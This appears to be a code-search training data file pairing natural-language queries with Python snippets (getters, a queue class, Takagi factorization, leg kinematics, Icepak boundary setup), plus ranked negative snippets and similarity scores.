"0.55339... | 0.7776603 | 0 |
getter method for "data" atribut q224e | def data(self):
return self.__data | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def data(value):\n return value.data",
"def data(self):\r\n raise NotImplementedError",
"def get_data(self):\n raise NotImplementedError(\"Not implemented!\")",
"def data(self):",
"def data(self):\n return self._data",
"def get_data(self):\r\n pass",
"def getData(self):\n ... | [
"0.77216864",
"0.75554496",
"0.75348544",
"0.75284106",
"0.7520041",
"0.75094724",
"0.7480755",
"0.7480755",
"0.74631673",
"0.7455666",
"0.7446747",
"0.74320656",
"0.74320656",
"0.7396023",
"0.7396023",
"0.7396023",
"0.7392962",
"0.7392962",
"0.73768085",
"0.7324874",
"0.7264... | 0.7054529 | 48 |
setter method for "data" atribute | def data(self, data):
self.__data = data | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_data(self, data):\n\n pass",
"def set_data(self, data):\n self.data = data",
"def setData(self, data):\n return None",
"def setData(self, data):\n self.data = data",
"def setData(self, data):\n self.data = data",
"def SetData(self, data):\r\n\r\n self._da... | [
"0.8911663",
"0.87387705",
"0.8619419",
"0.85456896",
"0.85456896",
"0.8334428",
"0.8301211",
"0.8301211",
"0.8299661",
"0.82963645",
"0.82412356",
"0.82412356",
"0.82412356",
"0.8151907",
"0.8128655",
"0.8128655",
"0.8128655",
"0.8128655",
"0.8128655",
"0.8128655",
"0.795377... | 0.85309285 | 5 |
The video conversion consists of several different steps. They need to be linked together for this to work. Something like. blob to file > convert file > create db file object (if successful do cleanup) | def create_video_task_structure(obj):
parent_path = resource_path(obj.__parent__)
obj_path = resource_path(obj)
types = ['.mkv', '.avi'] #FIXME: Settings, formats etc...
results = []
for mtype in types:
task_c = chain(blob_to_tmp_file.s(obj_path), convert_file.s(mtype), tmp_to_blob.s(parent_... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def convert_video_path_and_save(video_path, output_path=\"output.mp4\", temp_folder = \"./temp\",\n frame_frequency=24, image_reducer=100, fontSize=10, spacing=1.1, maxsize=None, chars=\" .*:+%S0#@\",\n logs=False, processes=4, progress_tracker=None):\n... | [
"0.6675047",
"0.6550464",
"0.64586025",
"0.6410163",
"0.63592315",
"0.63592315",
"0.63508004",
"0.6284475",
"0.6279952",
"0.61520207",
"0.61121404",
"0.61046207",
"0.6064942",
"0.6057947",
"0.60255075",
"0.59306794",
"0.5902183",
"0.58566123",
"0.5844466",
"0.5813281",
"0.579... | 0.5863424 | 17 |
Evaluate performance of prediction labels compared to ground truth. Args text_tar N length numpy array with integers for ground truth labels text_pred N length numpy array with integers for predicted labels tokenizer Determines the granularity level of the evaluation. None or '' characterwise evaluation r'\w' wordwise ... | def generate_token_arrays(
text,
text_tar,
text_pred,
tokenizer=None,
expand_predictions=True,
split_true_entities=True,
ignore_value=None
):
# split text for token evaluation
if isinstance(tokenizer, stanfordnlp.pipeline.core.Pipeline):
doc = tokenizer(text)
# extrac... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def predict(self, texts: List[ParsedText]) -> List[ParsedText]:\n self.model.eval()\n texts = copy.deepcopy(texts)\n\n batches = DataLoader(texts=texts,\n batch_size=self.batch_size,\n vocabulary=self.vocabulary,\n ... | [
"0.6047719",
"0.5638497",
"0.56321526",
"0.56077355",
"0.54930854",
"0.5477739",
"0.54771405",
"0.54673374",
"0.5426912",
"0.5415126",
"0.539227",
"0.53759074",
"0.5339519",
"0.5265813",
"0.52645946",
"0.5215363",
"0.52048546",
"0.5183925",
"0.51813215",
"0.51679975",
"0.5154... | 0.6754063 | 0 |
r""" Compute the Takagi Factorization to obtain eigenvalues and eigenvectors. Given a complex symmetric matrix A, the Takagi factorization is an algorithm that | def takagi_eig(z: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor]:
compound_z = to_compound_symmetric(
z
) # Z = A + iB, then compound_z = [(A, B),(B, -A)]
evalues, q = eigh(compound_z) # evalues in ascending order
# Think of Q as 4 block matrices.
# Q = [(X, Re(U)),
# (Y, -... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def eigenvalue_decomposition (a_t_a_matrix ):\r\n # get eigenvalues and -vectors from ATA matrix\r\n eigenvalues = np.zeros (a_t_a_matrix.shape[0] )\r\n eigenvectors = np.zeros ((a_t_a_matrix.shape[0], a_t_a_matrix.shape[0] ))\r\n evals, evecs = np.linalg.eig (a_t_a_matrix )\r\n\r\n # sort them\r\n ... | [
"0.67551243",
"0.65288067",
"0.635305",
"0.6323472",
"0.6140439",
"0.596303",
"0.589384",
"0.588387",
"0.5787465",
"0.5755644",
"0.56900215",
"0.5678676",
"0.56377494",
"0.56096125",
"0.5601024",
"0.55979836",
"0.5577778",
"0.55142784",
"0.55117464",
"0.55056983",
"0.5499221"... | 0.57400054 | 10 |
r""" Compute the Takagi Factorization to obtain eigenvalues and eigenvectors. Given a complex symmetric matrix A, the Takagi factorization is an algorithm that | def takagi_eigvals(z: torch.Tensor) -> torch.Tensor:
compound_z = to_compound_symmetric(
z
) # Z = A + iB, then compound_z = [(A, B),(B, -A)]
evalues = eigvalsh(compound_z) # evalues in ascending order
index = torch.arange(
start=z.shape[-1], end=2 * z.shape[-1], device=evalues.device,... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def eigenvalue_decomposition (a_t_a_matrix ):\r\n # get eigenvalues and -vectors from ATA matrix\r\n eigenvalues = np.zeros (a_t_a_matrix.shape[0] )\r\n eigenvectors = np.zeros ((a_t_a_matrix.shape[0], a_t_a_matrix.shape[0] ))\r\n evals, evecs = np.linalg.eig (a_t_a_matrix )\r\n\r\n # sort them\r\n ... | [
"0.67551243",
"0.65288067",
"0.635305",
"0.6323472",
"0.6140439",
"0.596303",
"0.589384",
"0.588387",
"0.5787465",
"0.5755644",
"0.57400054",
"0.56900215",
"0.5678676",
"0.56096125",
"0.5601024",
"0.55979836",
"0.5577778",
"0.55142784",
"0.55117464",
"0.55056983",
"0.5499221"... | 0.56377494 | 13 |
r""" Map elements from the Bounded Domain Model to the Upper Half Space Model. | def cayley_transform(z: torch.Tensor) -> torch.Tensor:
identity = identity_like(z)
i_z_plus_id = multiply_by_i(identity + z)
inv_z_minus_id = inverse(identity - z)
return i_z_plus_id @ inv_z_minus_id | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def normalize_bounds(self, bounds):\n scaled_bounds = []\n scalings = []\n intercepts = []\n \n non_fixed_params = []\n \n print(self.device)\n \n for name, domain in self.bounds.items():\n # Get any fixed parmeters\n if type(doma... | [
"0.54487365",
"0.5227126",
"0.52142507",
"0.5171991",
"0.5107734",
"0.50656646",
"0.5058526",
"0.5027201",
"0.49707612",
"0.49313554",
"0.49247977",
"0.49091834",
"0.49027383",
"0.49019963",
"0.48993587",
"0.48976755",
"0.48976755",
"0.4897231",
"0.4889632",
"0.48836255",
"0.... | 0.0 | -1 |
r""" Map elements from the Upper Half Space Model to the Bounded Domain Model. | def inverse_cayley_transform(z: torch.Tensor) -> torch.Tensor:
identity = identity_like(z)
i_identity = multiply_by_i(identity)
z_minus_id = z - i_identity
inv_z_plus_id = inverse(z + i_identity)
return z_minus_id @ inv_z_plus_id | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def normalize_bounds(self, bounds):\n scaled_bounds = []\n scalings = []\n intercepts = []\n \n non_fixed_params = []\n \n print(self.device)\n \n for name, domain in self.bounds.items():\n # Get any fixed parmeters\n if type(doma... | [
"0.5723099",
"0.5415256",
"0.5246361",
"0.5238726",
"0.51190364",
"0.5076593",
"0.50671107",
"0.50671107",
"0.505351",
"0.50428146",
"0.50336605",
"0.4994442",
"0.4975478",
"0.49593166",
"0.49453282",
"0.49243712",
"0.4914789",
"0.4904812",
"0.48992795",
"0.48980626",
"0.4889... | 0.0 | -1 |
Return whether the complex symmetric matrices are symmetric or not. | def is_complex_symmetric(z: torch.Tensor, atol=3e-5, rtol=1e-5):
real_z, imag_z = z.real, z.imag
return torch.allclose(
real_z, real_z.transpose(-1, -2), atol=atol, rtol=rtol
) and torch.allclose(imag_z, imag_z.transpose(-1, -2), atol=atol, rtol=rtol) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def is_sparse_symmetric(m, complex: bool = False) -> bool:\n # https://mail.scipy.org/pipermail/scipy-dev/2014-October/020101.html\n if m.shape[0] != m.shape[1]:\n raise ValueError('m must be a square matrix')\n\n if not isinstance(m, sp.coo_matrix):\n m = sp.coo_matrix(m)\n\n r, c, v = m... | [
"0.78792083",
"0.77783185",
"0.7550069",
"0.75136435",
"0.7499239",
"0.73405325",
"0.73068935",
"0.718236",
"0.715196",
"0.6975757",
"0.69251335",
"0.6864178",
"0.68348575",
"0.66318476",
"0.65824836",
"0.6559838",
"0.6550716",
"0.6302794",
"0.6269109",
"0.62109536",
"0.61591... | 0.727364 | 7 |
Build a real matrix out of the real and imaginary parts of a complex symmetric matrix. Let Z = A + iB be a matrix with complex entries, where A, B are n x n matrices with real entries. | def to_compound_symmetric(z: torch.Tensor) -> torch.Tensor:
a, b = z.real, z.imag
return block_matrix([[a, b], [b, -a]]) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def real_of_complex(z):\n return np.vstack((np.real(z[:,0]),np.imag(z[:,0]),np.real(z[:,1]),np.imag(z[:,1]))).T",
"def _complex(real, imag):\n real = np.asarray(real)\n imag = np.asarray(imag)\n cplx = 1j * imag \n return cplx + real",
"def complex_matrix_to_real(m):\n a, b = np.real(m), np.im... | [
"0.7320743",
"0.68548006",
"0.67936164",
"0.6741395",
"0.6612078",
"0.6526531",
"0.6441918",
"0.6295969",
"0.62837374",
"0.6214823",
"0.6156181",
"0.61043704",
"0.610235",
"0.6078308",
"0.59810007",
"0.59810007",
"0.59810007",
"0.59810007",
"0.59810007",
"0.59810007",
"0.5981... | 0.57143563 | 31 |
Return a complex identity of the shape of z, with the same type and device. | def identity_like(z: torch.Tensor) -> torch.Tensor:
return torch.eye(z.shape[-1], dtype=z.dtype, device=z.device).expand_as(z) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def complexify(self,z):\r\n \r\n import numpy as np\r\n \r\n if not np.iscomplex(z).any():\r\n if len(z.shape) != 2 or z.shape[1] != 2:\r\n raise Exception('Shape format not understood. Provide shape vertices either as a complex vector, or as a N-by-2 real nump... | [
"0.7283238",
"0.7283238",
"0.7283238",
"0.7283238",
"0.7283238",
"0.7283238",
"0.7283238",
"0.7283238",
"0.7283238",
"0.7283238",
"0.6829854",
"0.6434653",
"0.64001256",
"0.6320515",
"0.62082124",
"0.611706",
"0.6097688",
"0.6067596",
"0.60050243",
"0.59862447",
"0.59814256",... | 0.5861991 | 24 |
For Z = X + iY, calculates the operation i Z = i (X + iY) = Y + iX. | def multiply_by_i(z: torch.Tensor):
return to_complex(-z.imag, z.real) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def execute(self):\n self.z = self.x + self.y",
"def xewy_plus_z(x, y, z, activation=None):\n R = tf.add(tf.multiply(x, y), z)\n if activation:\n return activation(R)\n else: \n return R",
"def mul(Z,X,Y):",
"def __iadd__(self, other):\n self.x += other.x\n self.y ... | [
"0.63530385",
"0.6340171",
"0.6192241",
"0.6054518",
"0.60421085",
"0.60085917",
"0.59467405",
"0.5932969",
"0.59311134",
"0.5928613",
"0.5918655",
"0.5918655",
"0.5861854",
"0.5843151",
"0.58040804",
"0.5794594",
"0.5792426",
"0.5758218",
"0.5758218",
"0.5758218",
"0.5758218... | 0.0 | -1 |
Apply a positive conjugate projection to a real symmetric matrix. | def positive_conjugate_projection(y: torch.Tensor) -> torch.Tensor:
evalues, s = eigh(y)
evalues = torch.clamp(evalues, min=EPS[y.dtype])
y_tilde = s @ torch.diag_embed(evalues) @ s.transpose(-1, -2)
# we do this so no operation is applied on the matrices that are already positive definite
# This p... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def conjugate(self):\r\n return self.__class__(self._real, -self._imag)",
"def conjugate(self):\n return Complex(self._reNum, -self._imNum)",
"def conjugate(self):\n v = zeros_como(self)\n for x in range(self.n):\n v[x] = (self[x]).conjugate()\n\n return v",
"def... | [
"0.66299474",
"0.6513677",
"0.64540017",
"0.64398617",
"0.6426171",
"0.64045066",
"0.6403738",
"0.6403738",
"0.6403738",
"0.6403738",
"0.6403738",
"0.6403738",
"0.6403738",
"0.6403738",
"0.6403738",
"0.6403738",
"0.6403738",
"0.6403738",
"0.6403738",
"0.6403738",
"0.6403738",... | 0.6503991 | 2 |
Is the queue empty? | def is_empty(self):
return self.first is None | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def is_empty(self):\n return self.queue == []",
"def is_empty(self):\n return len(self.the_queue) == 0",
"def is_empty(self):\n return len(self.queue) == 0",
"def is_empty(self):\n return len(self.queue) == 0",
"def is_empty(self):\n return len(self.__queue) > 0",
"def ... | [
"0.92399496",
"0.91864026",
"0.91690904",
"0.91690904",
"0.91463965",
"0.9136749",
"0.90828764",
"0.9066083",
"0.9037413",
"0.89759874",
"0.8937634",
"0.89152354",
"0.89133626",
"0.89084613",
"0.88834363",
"0.8876832",
"0.88767827",
"0.88767827",
"0.88154984",
"0.8768162",
"0... | 0.0 | -1 |
Return the number of items in the queue. | def size(self):
return self.N | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def size(self):\n return len(self._queue_items)",
"def size(self):\r\n return len(self.queue)",
"def size(self):\r\n return len(self.queue)",
"def size(self):\n return len(self.queue)",
"def size(self):\n return len(self.queue)",
"def size(self):\n return len(sel... | [
"0.84928566",
"0.83294904",
"0.83294904",
"0.8308619",
"0.8308619",
"0.8308619",
"0.8308619",
"0.8294581",
"0.82817006",
"0.81158674",
"0.8024676",
"0.79601943",
"0.78984004",
"0.78921103",
"0.7763399",
"0.77162796",
"0.7704691",
"0.76244605",
"0.76244605",
"0.7623233",
"0.75... | 0.0 | -1 |
Return the item least recently added to the queue. Does not modify the queue. | def peek(self):
if self.is_empty():
raise ValueError('Queue underflow')
return self.first.item | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def top(self): # O(1)\n if not self.queue:\n return None\n return self.queue[0]",
"def top(self):\n return self.queue[0]",
"def top(self):\n while not self.queue[self.tag].empty():\n temp = self.queue[self.tag].get()\n self.queu... | [
"0.77313817",
"0.7498477",
"0.74331325",
"0.7371703",
"0.73413575",
"0.73413575",
"0.73301995",
"0.7303269",
"0.7290673",
"0.7280591",
"0.72582644",
"0.72500014",
"0.7247659",
"0.72432554",
"0.72195494",
"0.7189716",
"0.7187241",
"0.71836096",
"0.71619004",
"0.7147872",
"0.71... | 0.71401 | 21 |
Add an item to the queue. | def enqueue(self, item):
old_last = self.last
self.last = self.Node(item)
if self.is_empty():
self.first = self.last
else:
old_last.next_node = self.last
self.N += 1 | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def enqueue(self, item):\n self.queue.append(item)",
"def enqueue(self, item):\n self.queue.append(item)",
"def enqueue(self, item):\n self._queue.append(item)",
"def enqueue(self, item):\n self.__queue.insert(0, item)",
"def add(self, item):\n completeDeferred = defer.De... | [
"0.88014996",
"0.88014996",
"0.87262017",
"0.8564763",
"0.83524036",
"0.8304818",
"0.8270975",
"0.8238265",
"0.81438506",
"0.8135321",
"0.8135321",
"0.80833095",
"0.8079481",
"0.7975776",
"0.7962312",
"0.7904748",
"0.7904748",
"0.7904748",
"0.7904748",
"0.7904748",
"0.7893747... | 0.6969514 | 97 |
Remove and return the item on the queue least recently added (e.g. at the front.) | def dequeue(self):
if self.is_empty():
raise ValueError('Queue underflow')
item = self.first.item
self.first = self.first.next_node
self.N -= 1
if self.is_empty():
self.last = None # To avoid loitering
return item | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def pop(self):\n self.queue.insert(len(self.queue), self.queue[0])\n self.queue.remove(self.queue[0])\n return self.queue.pop()",
"def dequeue(self): # total O(1)\n topItem = self._queue[self._start] #O(1)\n self._queue[self._start] = None #O(1)\n self._start = (self.... | [
"0.78243464",
"0.7750231",
"0.7648514",
"0.7579684",
"0.7571229",
"0.75285035",
"0.7490792",
"0.7477285",
"0.74620265",
"0.7430369",
"0.7426836",
"0.7421849",
"0.7421314",
"0.7397516",
"0.7391808",
"0.7391045",
"0.7384722",
"0.7378833",
"0.73569393",
"0.73521245",
"0.73507583... | 0.6934145 | 82 |
Returns a list of items in the queue, starting with the item in the front of the queue. | def items(self):
current = self.first
output = []
while current is not None:
output.append(current.item)
current = current.next_node
return output | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def queue_to_list(queue):\n result = []\n while queue.qsize() != 0:\n result.append(queue.get())\n return result",
"def get_from_head(self, total_count = 1) -> list:\n return self.queue.get_all(total_count)",
"def get_all_nowait(queue: Queue) -> list:\n\n results = []\n\n while Tru... | [
"0.6878175",
"0.66443473",
"0.66142774",
"0.65437406",
"0.6519724",
"0.64220434",
"0.6421816",
"0.63827026",
"0.63620025",
"0.62990564",
"0.62929565",
"0.62783927",
"0.6251019",
"0.6233285",
"0.62047136",
"0.61885864",
"0.6186185",
"0.6179419",
"0.61729276",
"0.6167859",
"0.6... | 0.5712701 | 76 |
Returns items in the queue as a generator, starting with the item in the front of the queue. | def iteritems(self):
current = self.first
while current is not None:
yield current.item
current = current.next_node | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def queue_iter(queue: Queue) -> Generator[T, None, None]:\n while True:\n val = queue.get()\n yield val",
"def get_generator(self):\n while self._is_running():\n yield self._queue.get()",
"def get_generator(self):\n while self._is_running():\n yield self._qu... | [
"0.73305446",
"0.6846361",
"0.6846361",
"0.6739455",
"0.6710887",
"0.66482306",
"0.66402185",
"0.6560582",
"0.65385216",
"0.65255594",
"0.647886",
"0.6452622",
"0.6448023",
"0.63225293",
"0.6262202",
"0.62370265",
"0.62243056",
"0.622232",
"0.62099403",
"0.62061656",
"0.61503... | 0.6098278 | 24 |
modify this according to leg construction | def _set_leg_params(self):
self.p = 0.01600
self.q = 0.00000
self.r = 0.02000
self.c = 0.01811
self.u = 0.00000
self.v = 0.00000
self.e = -0.06000
self.h = -0.02820
self.s = 0.02200
self.d1 = 0.0
self.d2 = 0.0
self.d3 = 0.0
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def reBuild(self): # redefine the rebuild method for loss function (polymorphism)\n self.updateRange()\n self.buildLine()\n self.normalize() # normalize loss function to have total area of 1 ",
"def set_leg_for_person(self, person, leg):\n pass",
"def CL(self):",
"def __init__(s... | [
"0.679564",
"0.58819866",
"0.58000755",
"0.57968915",
"0.57861835",
"0.57831764",
"0.5769297",
"0.5760113",
"0.5710347",
"0.5703536",
"0.57016015",
"0.568136",
"0.5667604",
"0.5666025",
"0.5649842",
"0.56333065",
"0.5621189",
"0.558316",
"0.558316",
"0.558316",
"0.55752134",
... | 0.5613859 | 17 |
modify this according to observation space | def _get_obs(self):
pos = []
z = []
for i in range(params['memory_size']):
if self._step - i * params['memory_size'] > 1:
pos.append(self._track_item['joint_pos'][self._step - i * params['memory_size'] - 1].copy())
z.append(self._track_item['z'][self._... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def observation_space():",
"def observation_space(self):\n pass",
"def observation_space(self):\n raise NotImplementedError",
"def create_observation(self):",
"def create_observation(self):",
"def __originate__(self):\n self.pos_to_num = deepcopy(self.o_pos_to_num)\n self.num_... | [
"0.73705953",
"0.69167435",
"0.68676424",
"0.6199873",
"0.6199873",
"0.59468096",
"0.5889655",
"0.5877468",
"0.58713746",
"0.58399",
"0.58200365",
"0.5795784",
"0.5741768",
"0.5708703",
"0.5667724",
"0.56649333",
"0.5630636",
"0.56031966",
"0.55794895",
"0.55470127",
"0.55426... | 0.0 | -1 |
modify this according to leg construction | def _leg_kinematics(self, knee_pos):
knee_pos = np.abs(knee_pos)
sign = np.sign(knee_pos)
t = np.sqrt(self.p ** 2 + self.q ** 2 + self.r ** 2 - 2 * np.sqrt(self.p ** 2 + self.q ** 2) * self.r * np.cos(knee_pos))
phi = np.arccos((self.c ** 2 + t ** 2 - self.s **2) / (2 * self.c * t))
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def reBuild(self): # redefine the rebuild method for loss function (polymorphism)\n self.updateRange()\n self.buildLine()\n self.normalize() # normalize loss function to have total area of 1 ",
"def set_leg_for_person(self, person, leg):\n pass",
"def CL(self):",
"def __init__(s... | [
"0.67977434",
"0.58807766",
"0.5800736",
"0.5797241",
"0.57861155",
"0.57825583",
"0.5768972",
"0.5759353",
"0.5711845",
"0.5703295",
"0.5701257",
"0.56799626",
"0.5669953",
"0.5665548",
"0.5651501",
"0.56340134",
"0.5620002",
"0.5613218",
"0.55845004",
"0.55845004",
"0.55845... | 0.0 | -1 |
modify this according to need | def _track_attr(self):
self._track_item['joint_pos'].append(self.joint_pos.copy())
self._track_item['action'].append(self.action.copy())
self._track_item['velocity'].append(self.sim.data.qvel[:6].copy())
self._track_item['position'].append(self.sim.data.qpos[:3].copy())
self._tra... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def regular(self):",
"def transform(self):",
"def apply(self):",
"def _set_attributes(self):",
"def apply(self) -> None:",
"def apply(self) -> None:",
"def __call__(self):\n\t\treturn",
"def preprocess(self):",
"def build(self):",
"def build(self):",
"def build(self):",
"def wrapup(self):\n ... | [
"0.69006395",
"0.66655946",
"0.65591294",
"0.63855344",
"0.6326173",
"0.6326173",
"0.6312347",
"0.62946904",
"0.62429655",
"0.62429655",
"0.62429655",
"0.6238647",
"0.62035924",
"0.61887544",
"0.61887544",
"0.61887544",
"0.61887544",
"0.61887544",
"0.6169873",
"0.6138667",
"0... | 0.0 | -1 |
modify this according to need | def _reset_track_lst(self):
del self._track_item
self._track_item = {key : [] for key in self._track_lst}
return self._track_item | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def regular(self):",
"def transform(self):",
"def apply(self):",
"def _set_attributes(self):",
"def apply(self) -> None:",
"def apply(self) -> None:",
"def __call__(self):\n\t\treturn",
"def preprocess(self):",
"def build(self):",
"def build(self):",
"def build(self):",
"def wrapup(self):\n ... | [
"0.6898327",
"0.6665515",
"0.6557633",
"0.63853806",
"0.6325384",
"0.6325384",
"0.63100964",
"0.6292346",
"0.6239352",
"0.6239352",
"0.6239352",
"0.62390816",
"0.6199866",
"0.6188104",
"0.6188104",
"0.6188104",
"0.6188104",
"0.6188104",
"0.6168081",
"0.6137619",
"0.61214644",... | 0.0 | -1 |
Existing analysis setups. Returns list of str List of all analysis setups in the design. | def existing_analysis_sweeps(self):
setup_list = self.existing_analysis_setups
sweep_list = []
s_type = self.solution_type
for el in setup_list:
sweep_list.append(el + " : " + s_type)
return sweep_list | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_setup_names(self):\n self.setup_names = list(self._optimetrics.GetSetupNames())\n return self.setup_names.copy()",
"def all_present_experiments(self):\n return _yield_subdir_names(self.exp_configs)",
"def get_analysis_list(self):\n analysys_list = []\n\n analysis_type... | [
"0.64489913",
"0.59564406",
"0.5901408",
"0.5773123",
"0.56467426",
"0.5641863",
"0.56104463",
"0.5600671",
"0.55147064",
"0.5445727",
"0.53945076",
"0.5340589",
"0.5334018",
"0.5283071",
"0.52054447",
"0.51864237",
"0.51725304",
"0.5147676",
"0.5140388",
"0.5132928",
"0.5071... | 0.7540443 | 0 |
Assign grille to a face or list of faces. | def assign_grille(
self,
air_faces,
free_loss_coeff=True,
free_area_ratio=0.8,
resistance_type=0,
external_temp="AmbientTemp",
expternal_pressure="AmbientPressure",
x_curve=["0", "1", "2"],
y_curve=["0", "1", "2"],
):
boundary_name = ge... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setFace(self, value):\n self.face = value",
"def setFace(self, value):\n self.face = value",
"def change_face(self, face):\n if self.face is not None:\n self.face.remove_point(self)\n\n self.face = face\n self.face.add_point(self)",
"def faces(self, f):\n ... | [
"0.66815275",
"0.66815275",
"0.6373914",
"0.6209701",
"0.59925044",
"0.5832084",
"0.5554151",
"0.55246836",
"0.54223424",
"0.54047036",
"0.5346412",
"0.5306642",
"0.52954996",
"0.52843904",
"0.52732515",
"0.5261938",
"0.5224992",
"0.4994123",
"0.49903914",
"0.49413803",
"0.49... | 0.57588255 | 6 |
Assign openings to a list of faces. | def assign_openings(self, air_faces):
boundary_name = generate_unique_name("Opening")
self.modeler.create_face_list(air_faces, "boundary_faces")
props = {}
air_faces = self.modeler._convert_list_to_ids(air_faces)
props["Faces"] = air_faces
props["Temperature"] = "Ambient... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def faces(self, f):\n self._faces = f",
"def react_to_faces(faces):\n if (len(faces) == 1):\n # Get the location of the face (one of six positions)\n face_loc = get_location(faces[0].bbox, vision.VIDEO_SIZE)\n # Set the Raspimon pose\n if face_loc is not None:\n sense.set_pixels(VOLT_P... | [
"0.6327592",
"0.58146024",
"0.5767662",
"0.5692748",
"0.559544",
"0.5340516",
"0.52958256",
"0.51952136",
"0.51952136",
"0.51705986",
"0.51682824",
"0.51266086",
"0.5123751",
"0.5064268",
"0.50287205",
"0.49778315",
"0.49571183",
"0.49558103",
"0.49528244",
"0.48971468",
"0.4... | 0.6439192 | 0 |
Assign twoway coupling to a setup. | def assign_2way_coupling(
self, setup_name=None, number_of_iterations=2, continue_ipk_iterations=True, ipk_iterations_per_coupling=20
):
if not setup_name:
if self.setups:
setup_name = self.setups[0].name
else:
self.logger.glb.error("No setup i... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup(bot):\n\tbot.add_cog(Wallet(bot))",
"def setup_method(self, method):\n self.opp = get_test_open_peer_power()",
"def setup_method(self, method):\n self.opp = get_test_open_peer_power()",
"def _setup(self):\n if self._setup:\n return\n\n GPIO.setmode(GPIO.BCM)\n... | [
"0.5399899",
"0.5323412",
"0.5323412",
"0.5253211",
"0.52444965",
"0.5201379",
"0.51057905",
"0.50686455",
"0.50656474",
"0.501346",
"0.50123507",
"0.49991336",
"0.4993155",
"0.4975337",
"0.4950018",
"0.49387175",
"0.49261895",
"0.49247813",
"0.49237633",
"0.4914572",
"0.4902... | 0.6021909 | 0 |
Assign to a box in Icepak the sources that come from the CSV file. Assignment is made by name. | def create_source_blocks_from_list(self, list_powers, assign_material=True, default_material="Ceramic_material"):
oObjects = self.modeler.primitives.solid_names
listmcad = []
num_power = None
for row in list_powers:
if not num_power:
num_power = len(row) - 1
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _import_source_data(self, source_file: str) -> None:\n with open(source_file, 'r') as csv_file:\n reader = csv.DictReader(csv_file)\n for row in reader:\n self.cell_map.append(\n Cell(\n datamap_id=None,\n ... | [
"0.5608812",
"0.5555337",
"0.54913485",
"0.5419967",
"0.53080046",
"0.5291996",
"0.5269992",
"0.52101916",
"0.51923984",
"0.5171572",
"0.51682556",
"0.5130636",
"0.5125028",
"0.5114853",
"0.50463074",
"0.5044218",
"0.5032733",
"0.5031158",
"0.502738",
"0.50222117",
"0.5009049... | 0.0 | -1 |
Create a source block for an object. | def create_source_block(
self, object_name, input_power, assign_material=True, material_name="Ceramic_material", use_object_for_name=True
):
if assign_material:
if isinstance(object_name, list):
for el in object_name:
self.modeler.primitives[el].materi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def make(self, *args):\n return _uhd_swig.usrp_source_sptr_make(self, *args)",
"def to_basic_block(self):\n return _uhd_swig.usrp_source_sptr_to_basic_block(self)",
"def make(self, *args, **kwargs):\n return _uhd_swig.amsg_source_sptr_make(self, *args, **kwargs)",
"def create_xblock(usag... | [
"0.60064274",
"0.59292537",
"0.5904522",
"0.57898647",
"0.57289743",
"0.57095134",
"0.57095134",
"0.57032955",
"0.56916565",
"0.56502146",
"0.56428325",
"0.5628184",
"0.5577237",
"0.5540185",
"0.5510298",
"0.54880905",
"0.54696864",
"0.54547685",
"0.5451283",
"0.54358476",
"0... | 0.6881297 | 0 |
Create a source power for a face. | def create_source_power(
self,
face_id,
input_power="0W",
thermal_condtion="Total Power",
surface_heat="0irrad_W_per_m2",
temperature="AmbientTemp",
radiate=False,
source_name=None,
):
if not source_name:
source_name = generate_uniq... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
